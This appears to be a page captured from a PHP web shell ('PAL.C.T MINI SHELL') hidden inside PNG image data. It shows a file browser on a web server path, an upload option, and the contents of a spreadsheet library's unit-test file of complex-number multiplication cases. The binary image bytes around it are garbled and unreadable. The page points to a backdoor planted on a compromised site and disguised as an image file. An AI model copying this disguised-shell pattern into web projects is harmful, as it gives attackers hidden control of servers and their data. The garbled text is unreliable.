php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Engineering/
upload
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Engineering/IMPRODUCT.data

"12.34+5.67j",	"123.45+67.89i",			"#NUM!"
"12.34+5.67j",						"12.34+5.67j"
"12.34+5.67i",	"123.45+67.89i",	"5.67",		"6454.936089+8718.895647i"
"12.34+5.67j",	"123.45+67.89j",	"5.67",		"6454.936089+8718.895647j"
"12.34+5.67j",	"123.45+67.89j",			"1138.4367+1537.7241j"
"12.34-5.67i",	"123.45+67.89i",			"1908.3093+137.8011i"
"12.34+5.67i",	"123.45-67.89i",			"1908.3093-137.8011i"
"12.34-5.67i",	"123.45-67.89i",			"1138.4367-1537.7241i"
"-12.34+5.67i",	"123.45+67.89i",			"-1908.3093-137.8011i"
"-12.34-5.67i",	"123.45+67.89i",			"-1138.4367-1537.7241i"
"12.34+5.67i",	"-123.45+67.89i",			"-1908.3093+137.8011i"
"-12.34+5.67i",	"-123.45+67.89i",			"1138.4367-1537.7241i"
"-12.34-5.67i",	"-123.45-67.89i",			"1138.4367+1537.7241i"
"-12.34",	"123.45-67.89i",			"-1523.373+837.7626i"
"-12.34-5.67i",	"-12.34",				"152.2756+69.9678i"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`